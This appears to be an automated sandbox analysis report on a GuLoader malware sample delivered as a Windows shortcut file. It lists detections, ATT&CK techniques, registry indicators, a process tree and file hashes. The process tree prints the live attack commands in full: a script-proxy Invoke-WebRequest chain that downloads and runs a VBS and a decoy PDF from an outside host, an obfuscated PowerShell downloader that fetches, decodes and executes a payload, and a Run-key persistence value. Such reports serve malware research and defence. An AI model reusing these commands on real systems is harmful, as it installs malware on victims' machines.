guloader | 0d7937b2bf3813bb8b22e7d7c3f85ffc8638fd6da6b50a2e4eed480a964b46db

Analysis

max time kernel
147s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
10/03/2023, 14:39

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General

Target

Doc065754.lnk
Size

2KB
MD5

f4aa46ca2856c7f137ca9e95b255c001
SHA1

a71f7cec83d329c3444dcc9cf53181689ac02227
SHA256

86a3eea0abb10bdcac6a00b9bdf1d76a408fbdd27db8be389757e069a2855f11
SHA512

e207a15a14acdfd40e6edbff9d96f2e8a460e954768da45d6d5de3a78fec04a5758261a92f3696a694fa7fba55faf0fbc1222d7276e3bc238723e3321556093a

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	3696	powershell.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows\CurrentVersion\Run	ieinstal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rundvisn163 = "%TORO% -w 1 $Unludicrou=(Get-ItemProperty -Path 'HKCU:\\Wreak\\').Stemningsb52;%TORO% ($Unludicrou)"	ieinstal.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2264	ieinstal.exe
2264	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
368	powershell.exe
2264	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 368 set thread context of 2264	368	powershell.exe	117

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\Tepoler.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
3696	powershell.exe
3696	powershell.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2604	powershell.exe
2604	powershell.exe
368	powershell.exe
368	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
368	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	368	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2396	AcroRd32.exe
2264	ieinstal.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 1304	4768	cmd.exe	87
PID 4768 wrote to memory of 1304	4768	cmd.exe	87
PID 1304 wrote to memory of 3696	1304	WScript.exe	88
PID 1304 wrote to memory of 3696	1304	WScript.exe	88
PID 3696 wrote to memory of 4508	3696	powershell.exe	90
PID 3696 wrote to memory of 4508	3696	powershell.exe	90
PID 3696 wrote to memory of 2396	3696	powershell.exe	91
PID 3696 wrote to memory of 2396	3696	powershell.exe	91
PID 3696 wrote to memory of 2396	3696	powershell.exe	91
PID 4508 wrote to memory of 2604	4508	WScript.exe	94
PID 4508 wrote to memory of 2604	4508	WScript.exe	94
PID 2604 wrote to memory of 368	2604	powershell.exe	97
PID 2604 wrote to memory of 368	2604	powershell.exe	97
PID 2604 wrote to memory of 368	2604	powershell.exe	97
PID 2396 wrote to memory of 4136	2396	AcroRd32.exe	98
PID 2396 wrote to memory of 4136	2396	AcroRd32.exe	98
PID 2396 wrote to memory of 4136	2396	AcroRd32.exe	98
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 1756	4136	RdrCEF.exe	99
PID 4136 wrote to memory of 4844	4136	RdrCEF.exe	100
PID 4136 wrote to memory of 4844	4136	RdrCEF.exe	100
PID 4136 wrote to memory of 4844	4136	RdrCEF.exe	100
PID 4136 wrote to memory of 4844	4136	RdrCEF.exe	100
PID 4136 wrote to memory of 4844	4136	RdrCEF.exe	100
PID 4136 wrote to memory of 4844	4136	RdrCEF.exe	100

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Doc065754.lnk
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\localhost\c$\Windows\System32\SyncAppvPublishingServer.vbs" n; Invoke-WebRequest http://0xC2.11808979/sara/Vejlensisk90.vbs -OutFile C:\Windows\Tasks\Tepoler.vbs; C:\Windows\Tasks\Tepoler.vbs; Invoke-WebRequest http://0xC2.11808979/sara/info.pdf -OutFile C:\Users\Public\info1.pdf; C:\Users\Public\info1.pdf
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n; Invoke-WebRequest http://0xC2.11808979/sara/Vejlensisk90.vbs -OutFile C:\Windows\Tasks\Tepoler.vbs; C:\Windows\Tasks\Tepoler.vbs; Invoke-WebRequest http://0xC2.11808979/sara/info.pdf -OutFile C:\Users\Public\info1.pdf; C:\Users\Public\info1.pdf}
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\Tasks\Tepoler.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Foetureta9 ([String]$Eddikeb){For($Modemets=1; $Modemets -lt $Eddikeb.Length-1; $Modemets+=(1+1)){$mdeaftens=$mdeaftens+$Eddikeb.Substring($Modemets, 1)};$mdeaftens;}$cate=Foetureta9 ' hAt t p :U/P/A1B9 4N.B1F8 0 .b4 8R.A2K1H1 / z a rPaN/FDPeHdEeTp sHe uSd 5L2T. t o cH ';$mdeaftens01=Foetureta9 ' iOeTx ';$Sacr = Foetureta9 'T\Es ySsUwHo w 6 4S\PW iSn dSo wBsEP o w e rOSHhReKl lS\ vD1W.B0 \ p o wmeMr srhOe lAlF.me xSe ';.($mdeaftens01) (Foetureta9 'S$ RDa vGkBn o p 2G= $CeOn vS:FwriPnSdRi rT ') ;.($mdeaftens01) (Foetureta9 'C$GS aScRrp=D$ R a vAk nCoapR2A+ $ SpaKcTr ') ;.($mdeaftens01) (Foetureta9 'H$ Y aErDlA D= (A( g wsm iS LwIi nA3 2 _ pBrSoDc ePs s -DF PTrDo c eMsSsRI dG=S$N{AP I D }U) .FC oUm mCa nTdFLLiOnBeS) S- sUpSl i tC [Lc h aDr ]N3 4S ');.($mdeaftens01) (Foetureta9 ' $IF o rPsDbPnS1 3C3M G= A$MYGa r lu[ $ YTaAr lP.Scbo u n tG-C2 ] ');.($mdeaftens01) (Foetureta9 'H$MM o dAe lO= (RTAeHs t - PcaUtWh R$AS aRcNr )K e- A nEdA S( [DIDnbtAP tNr ]H:R: sFi z e - e q R8B) ') ;if ($Model) {.$Sacr $Forsbn133;} else {;$mdeaftens00=Foetureta9 'SS tGaDrSt -UB iOtDsITArBaEnBs f e r G- S oruSrsc eN S$ c a tFeU -DDSe sSt i n aDtRi oRnC Y$PR aWvdkUn o p 2F ';.($mdeaftens01) (Foetureta9 'S$TRKaAvIk nSo pF2L=N$ eRn vs:TaBp ppdOaKtIaJ ') ;.($mdeaftens01) (Foetureta9 'WIUmmpTo r tP-BMGoFdPuBl e UBRiBt s TSr aUnts fSeBrG ') ;$Ravknop2=$Ravknop2+'\Raao.pal';while (-not $Forhandle10) {.($mdeaftens01) (Foetureta9 'M$ F oPrPhba nLd l eI1F0N=D(RTJeOsFt -KP aBtJhh K$ERAa vhk nPo ps2T)H ') ;.($mdeaftens01) $mdeaftens00;.($mdeaftens01) (Foetureta9 ' SMt aSrAt -OS lCe eDpb 5 ');}.($mdeaftens01) (Foetureta9 ' $FFFoSe tUu r eGtMaf N=E AG ertS- CCoAnItGeRnBtR P$ R aMvTk nAo p 2 ');.($mdeaftens01) (Foetureta9 ' $ PJeFlUoSt oJn P= K[UScy s tUePmP. CJoAn vUe r t ]R: : FOr oTmvBFa s eM6 4DS tHr iFnWgL(s$CFJo e tDu r eSt a )R ');.($mdeaftens01) (Foetureta9 'P$ mCdEeTaTf taeRn s 2E =T [ASMyKs t e mK.PTReLx t .VERn c o d i nMgE] :C:uARSJC ILIH.CGDeftTS t r i nHg (N$SPCeSl o tSoEnS) ');.($mdeaftens01) (Foetureta9 'A$TN o nrcso =F$Um dIeBa fRtTeVnAsO2S.BsEu bPsCt rCifnGgS(S1Z8B8 2 6 4 ,T1M9c3B3 5B)F ');.($mdeaftens01) $Nonco;}"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2604
      - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Foetureta9 ([String]$Eddikeb){For($Modemets=1; $Modemets -lt $Eddikeb.Length-1; $Modemets+=(1+1)){$mdeaftens=$mdeaftens+$Eddikeb.Substring($Modemets, 1)};$mdeaftens;}$cate=Foetureta9 ' hAt t p :U/P/A1B9 4N.B1F8 0 .b4 8R.A2K1H1 / z a rPaN/FDPeHdEeTp sHe uSd 5L2T. t o cH ';$mdeaftens01=Foetureta9 ' iOeTx ';$Sacr = Foetureta9 'T\Es ySsUwHo w 6 4S\PW iSn dSo wBsEP o w e rOSHhReKl lS\ vD1W.B0 \ p o wmeMr srhOe lAlF.me xSe ';.($mdeaftens01) (Foetureta9 'S$ RDa vGkBn o p 2G= $CeOn vS:FwriPnSdRi rT ') ;.($mdeaftens01) (Foetureta9 'C$GS aScRrp=D$ R a vAk nCoapR2A+ $ SpaKcTr ') ;.($mdeaftens01) (Foetureta9 'H$ Y aErDlA D= (A( g wsm iS LwIi nA3 2 _ pBrSoDc ePs s -DF PTrDo c eMsSsRI dG=S$N{AP I D }U) .FC oUm mCa nTdFLLiOnBeS) S- sUpSl i tC [Lc h aDr ]N3 4S ');.($mdeaftens01) (Foetureta9 ' $IF o rPsDbPnS1 3C3M G= A$MYGa r lu[ $ YTaAr lP.Scbo u n tG-C2 ] ');.($mdeaftens01) (Foetureta9 'H$MM o dAe lO= (RTAeHs t - PcaUtWh R$AS aRcNr )K e- A nEdA S( [DIDnbtAP tNr ]H:R: sFi z e - e q R8B) ') ;if ($Model) {.$Sacr $Forsbn133;} else {;$mdeaftens00=Foetureta9 'SS tGaDrSt -UB iOtDsITArBaEnBs f e r G- S oruSrsc eN S$ c a tFeU -DDSe sSt i n aDtRi oRnC Y$PR aWvdkUn o p 2F ';.($mdeaftens01) (Foetureta9 'S$TRKaAvIk nSo pF2L=N$ eRn vs:TaBp ppdOaKtIaJ ') ;.($mdeaftens01) (Foetureta9 'WIUmmpTo r tP-BMGoFdPuBl e UBRiBt s TSr aUnts fSeBrG ') ;$Ravknop2=$Ravknop2+'\Raao.pal';while (-not $Forhandle10) {.($mdeaftens01) (Foetureta9 'M$ F oPrPhba nLd l eI1F0N=D(RTJeOsFt -KP aBtJhh K$ERAa vhk nPo ps2T)H ') ;.($mdeaftens01) $mdeaftens00;.($mdeaftens01) (Foetureta9 ' SMt aSrAt -OS lCe eDpb 5 ');}.($mdeaftens01) (Foetureta9 ' $FFFoSe tUu r eGtMaf N=E AG ertS- CCoAnItGeRnBtR P$ R aMvTk nAo p 2 ');.($mdeaftens01) (Foetureta9 ' $ PJeFlUoSt oJn P= K[UScy s tUePmP. CJoAn vUe r t ]R: : FOr oTmvBFa s eM6 4DS tHr iFnWgL(s$CFJo e tDu r eSt a )R ');.($mdeaftens01) (Foetureta9 'P$ mCdEeTaTf taeRn s 2E =T [ASMyKs t e mK.PTReLx t .VERn c o d i nMgE] :C:uARSJC ILIH.CGDeftTS t r i nHg (N$SPCeSl o tSoEnS) ');.($mdeaftens01) (Foetureta9 'A$TN o nrcso =F$Um dIeBa fRtTeVnAsO2S.BsEu bPsCt rCifnGgS(S1Z8B8 2 6 4 ,T1M9c3B3 5B)F ');.($mdeaftens01) $Nonco;}"
        6⤵
        Checks QEMU agent file
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:368
        
        C:\Program Files (x86)\internet explorer\ieinstal.exe
        
        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
        7⤵
        Checks QEMU agent file
        Adds Run key to start application
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetWindowsHookEx
        
        PID:2264
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Public\info1.pdf"
      4⤵
      Checks processor information in registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2396
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4136
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5DE9751E63F43A448303D2A9343B6420 --mojo-platform-channel-handle=1720 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:1756
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=B2B832A8E2B0BCD679123BBF74F00CBA --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=B2B832A8E2B0BCD679123BBF74F00CBA --renderer-client-id=2 --mojo-platform-channel-handle=1744 --allow-no-sandbox-job /prefetch:1
        6⤵
        
        PID:4844
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C3170F558A3310F6522AEFABE5D96AA5 --mojo-platform-channel-handle=2296 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:2656
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A08E9674E79CAF9580C35EC9ACA96B3F --mojo-platform-channel-handle=2404 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:400
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3E228489A49A2D613FBB346CB325B072 --mojo-platform-channel-handle=2356 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:1840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
df655fb4e4f23cf20232a84e3b33492c

SHA1
8e5ed3611bc11991f2ae1c827798c18a6e0c6864

SHA256
49dda03f0002d8e9d2b258309f2d15b640c8de974f101e9470597fdc717bc66d

SHA512
4dc3f057566a68577b3308fea865c3da399bbd2291e40e8e9b465db4d4fa45e6b3755ac2e434600ec555d21d18cdffa977f089ccf3daf3e0cc9ed899315faa75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
54eea9572b8a1295c4226dd63cadef78

SHA1
1572cc403c755aa7faeb0ee2e795d449e61d485f

SHA256
47b23fd79d8b2504103e2ffbd3866956a332f4c6d37625195ca0f5ab76a39ee3

SHA512
ca125313f150c27926efd0832f81964c3a6a72a42fa7a4bb9fb8579661d26b6b29ee621683b7be0c84371ce4b3791dcf9fd9da0836fb67c7dd331012dbd48809

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b3816ba18b06cb5984eed639e37d4512

SHA1
58bb6442fb2d98d8e7fa984b3324253e184cf488

SHA256
afd25ba7facf64b22ec5c87d409fd27c40f9648536fed4947b0dbf9f8c114ff5

SHA512
7bd27315fb26e62b7ce70211cb77043541fac0b3910ef53ee38725bf19595b37b7fd205c09e14116b6f1e3e0733db45e8b5561e4d91cba4f1fa1e138c9843098

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aisga1os.52g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
